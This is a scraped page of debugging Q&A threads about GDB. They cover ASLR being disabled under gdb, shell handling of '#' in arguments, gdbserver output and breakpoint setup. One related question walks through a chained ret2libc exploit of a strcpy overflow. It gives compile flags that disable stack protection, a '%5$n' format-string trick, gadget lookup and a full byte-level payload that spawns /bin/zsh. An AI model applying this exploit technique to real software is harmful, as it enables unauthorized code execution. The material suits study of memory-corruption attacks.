I have some difficulty do understand a C code found in a book(The Shellcode's handbook):
#include <stdio.h>
unsigned long find_start(void)
{
__asm__("movl %esp, %eax");
}
int main()
{
printf("%x\n",find_start());
}
if i run it with gdb more than one time i have always the same result(the same address):
(gdb) r
Starting program: /tmp/a.out
***bffff4a8***
[Inferior 1 (process 5384) exited with code 011]
(gdb) r
Starting program: /tmp/a.out
***bffff4a8***
[Inferior 1 (process 5387) exited with code 011]
(gdb) r
Starting program: /tmp/a.out
***bffff4a8***
[Inferior 1 (process 5388) exited with code 011]
and that's ok for me but when i run it without gdb the result change:
root#debian:~# /tmp/a.out
***bfb5f2b8***
root#debian:~# /tmp/a.out
***bffa6c58***
do you know why?
(i am on debian 7)
thank you
By default gdb disable address space randomization (ASLR).
To see randomization state in gdb:
(gdb) show disable-randomization
To enable it in gdb:
(gdb) set disable-randomization
To disable address randomization for your processes:
sudo sysctl -w kernel.randomize_va_space=0
To disable address randomization for a specific program:
setarch `uname -m` -R program [program_arguments]
Related
I am trying to exploit below code using Chained ret2libc attack. I am trying to execute execl('/bin/zsh','/bin/zsh',NULL) function.
To write NULL at the 3rd argument of execl, I have used printf(%5$n).
Code:
int main(int argc, char *argv[]){
char buf[256];
printf("%p",buf);
strcpy(buf, argv[1]);
}
To do this, I have exported 2 ENV variables such as:
user$ export SHELL='/bin/zsh'
user$ export test1='%5$n'
Then I compiled the program as below:
user$ gcc -ggdb -mpreferred-stack-boundry=2 -fno-stack-protector -fomit-frame-pointer -o vuln program.c
After that I opened this executable with gdb:
user$ gdb -q vuln
gdb> break main
gdb> run test
gdb> STOPPED AT BREAKPOINT
gdb> print PRINTF --> got the address of this function
gdb> print EXECL --> got this address
gdb> print EXIT --> got this address too
To get the address of ENV variables, i ran
gdb> x/500s $esp --> kept pressing ENTER and got the address. I also got the exact address of String '/bin/zsh' instead of address of 'SHELL=/bin/zsh' by adding 6. Similarly got the addres of '%5$n'.
To get the address of POP - RET inst, ran objdump -D vuln | grep -A20 pop --> got the address of one pop-ret instruction.
So input to the program looks like:
"A"*256+ printf_address + pop-ret address + '%5$n' address +execl address+ exit address+ '/bin/zsh' address + '/bin/zsh' address+ 3rd argument address.
I calculated 3rd argument address as base_address_of_buffer(printed by program)+256+28 (7 additional 4 bytes blocks)
But after running this program, it goes to execl and gives an error as below
Below is the input and output I am getting:
(gdb) run $(python -c 'print "A"*256+"\xa0\xb8\xe6\xb7"+"\x24\x85\x04\x08"+"\x54\xfe\xff\xbf"+"\x90\xa2\xed\xb7"+"\xf0\x1b\xe5\xb7"+"\x7e\xf5\xff\xbf"+"\x7e\xf5\xff\xbf"+"\x28\xf3\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/himmat/Desktop/vuln $(python -c 'print "A"*256+"\xa0\xb8\xe6\xb7"+"\x24\x85\x04\x08"+"\x54\xfe\xff\xbf"+"\x90\xa2\xed\xb7"+"\xf0\x1b\xe5\xb7"+"\x7e\xf5\xff\xbf"+"\x7e\xf5\xff\xbf"+"\x28\xf3\xff\xbf"')
Breakpoint 1, main (argc=2, argv=0xbffff284) at chained_ret2libc.c:14
14 {
(gdb) cont
Continuing.
process 3720 is executing new program: /bin/zsh4
Breakpoint 1, 0x08053443 in main ()
(gdb) cont
Continuing.
/bin/zsh: can't open input file:
[Inferior 1 (process 3720) exited with code 0177]
(gdb)
Error I am getting
To verify that all functions are being executed and 3rd argument is filled with NULL, refer below image.
Execution of program
I am reading an OS textbook, there is an example the verify whether the system is supporting virtual addresses and says the following program should print the same result every time. I see some difference on my macbook pro.
#include <stdio.h>
int var = 0;
int main(void)
{
var += 1;
printf("Address: %x, value: %d\n", &var, var);
return 0;
}
when run it I see the address changes in some bytes(not all of them however):
./main
Address: e8c6018, value: 1
./main
Address: 9032018, value: 1
./main
Address: 1bc7018, value: 1
When I run in GDB, I always see 1018:
(gdb) r
Starting program: /Users/xilan/temp/main
Address: 1018, value: 1
[Inferior 1 (process 19631) exited normally]
(gdb) r
Starting program: /Users/xilan/temp/main
Address: 1018, value: 1
[Inferior 1 (process 19636) exited normally]
(gdb) r
Starting program: /Users/xilan/temp/main
Address: 1018, value: 1
[Inferior 1 (process 19654) exited normally]
So what the different in running it directly and in GDB ? Why I see the address varies when run it directly ?
Your book is old. Many operating systems today are randomising where programs and libraries are loaded to make things just a bit more secure against certain attacks.
MacOS randomises where programs are loaded in memory. It does disable that randomisation for gdb though, this is why the address looks the same in gdb all the time.
In GDB, we always get the same address, even run with different processes, but The normal behavior should be like below, if run directly in Linux
./main
Address: e8c6018, value: 1
./main
Address: 9032018, value: 1
./main
Address: 1bc7018, value: 1
Because This is due to the fact that in GDB, the disable-randomization is turned on by default. It should be turned off if we expect regular output:
set disable-randomization off
Reference link : http://visualgdb.com/gdbreference/commands/set_disable-randomization
I run my program in gdb, withe the arguments -b # +L -m, but when I break main, argc is reported as 2 and the last argument available is "-b". However, using show args in GDB gives me Argument list to give program being debugged when it is started is "-b # +L -m", which is accurate.
Starting program: /home/matt/.../args -b # +L -m
Breakpoint 1, main (argc=2, argv=0x7fffffffe028) at args.c:129
Is # treated specially in an argument, even in GDB (not bash)?
I assume you are running on Linux. gdb on Linux by default will invoke the shell to start your program. Therefore everything after the # is still being interpreted by the shell as a comment. You can change that behaviour in gdb by telling it not to use the shell to start the program via the set startup-with-shell off command.
Here is an example program that just prints argc.
#include <stdio.h>
int main(int argc, char **argv)
{
printf("%d\n", argc);
return 0;
}
And here are the gdb runs with and without the shell receptively.
(gdb) r -b # +L -m
Starting program: /tmp/a.out -b # +L -m
2
[Inferior 1 (process 28385) exited normally]
(gdb) set startup-with-shell off
(gdb) r -b # +L -m
Starting program: /tmp/a.out -b # +L -m
5
[Inferior 1 (process 28443) exited normally]
(gdb)
Refer to the gdb manual for more details on program startup.
I am running gdbserver on a remote armv5 target with the following command line:
./gdbserver --debug --remote-debug --multi :9000
The host machine is x86 Linux. I am trying to remote-debug a sample hello_world.c program, pretty much a int main(int argc, char** argv) { printf("hello world\n"); exit(0); };
I am doing the following on the host machine:
./gdb
(gdb)set sysroot /home/username
(gdb)set verbose on
(gdb)target extended-remote 192.168.1.217:9000
(gdb)file hello_world
(gdb)set remote exec-file /upgrade/hello_world
(gdb)r
The output is as follows:
Starting program: /home/username/hello_world
Loaded symbols for /lib/ld-linux.3.so
Loaded symbols for /lib/libc.6.so
Breakpoint 1, main (argc=1, argv=0xbe90cdd4) at hello_world.c:50
50 int parm=7;
(gdb) c
Continuing.
[Inferior 1 (process 16721) exited normally]
Notice that there is no printf() output on the host machine. It just stops on a breakpoint and then runs to completion when I hit 'c'.
I expect the \n in the printf to flush the buffer and produce output immediately, but for some reason I do not see it in the host gdb window.
Any thoughts ?
I am trying to add a breakpoint in my program using
b {line number}
but I am always getting an error that says:
No symbol table is loaded. Use the "file" command.
What should I do?
Here is a quick start tutorial for gdb:
/* test.c */
/* Sample program to debug. */
#include <stdio.h>
#include <stdlib.h>
int
main (int argc, char **argv)
{
if (argc != 3)
return 1;
int a = atoi (argv[1]);
int b = atoi (argv[2]);
int c = a + b;
printf ("%d\n", c);
return 0;
}
Compile with the -g3 option. g3 includes extra information, such as all the macro definitions present in the program.
gcc -g3 -o test test.c
Load the executable, which now contain the debugging symbols, into gdb:
gdb --annotate=3 test.exe
Now you should find yourself at the gdb prompt. There you can issue commands to gdb.
Say you like to place a breakpoint at line 11 and step through the execution, printing the values of the local variables - the following commands sequences will help you do this:
(gdb) break test.c:11
Breakpoint 1 at 0x401329: file test.c, line 11.
(gdb) set args 10 20
(gdb) run
Starting program: c:\Documents and Settings\VMathew\Desktop/test.exe 10 20
[New thread 3824.0x8e8]
Breakpoint 1, main (argc=3, argv=0x3d5a90) at test.c:11
(gdb) n
(gdb) print a
$1 = 10
(gdb) n
(gdb) print b
$2 = 20
(gdb) n
(gdb) print c
$3 = 30
(gdb) c
Continuing.
30
Program exited normally.
(gdb)
In short, the following commands are all you need to get started using gdb:
break file:lineno - sets a breakpoint in the file at lineno.
set args - sets the command line arguments.
run - executes the debugged program with the given command line arguments.
next (n) and step (s) - step program and step program until it
reaches a different source line, respectively.
print - prints a local variable
bt - print backtrace of all stack frames
c - continue execution.
Type help at the (gdb) prompt to get a list and description of all valid commands.
Start gdb with the executable as a parameter, so that it knows which program you want to debug:
gdb ./myprogram
Then you should be able to set breakpoints. For example:
b myfile.cpp:25
b some_function
Make sure you used the -g option when compiling.
You need to tell gdb the name of your executable file, either when you run gdb or using the file command:
$ gdb a.out
or
(gdb) file a.out
You need to use -g or -ggdb option at compile time of your program.
E.g., gcc -ggdb file_name.c ; gdb ./a.out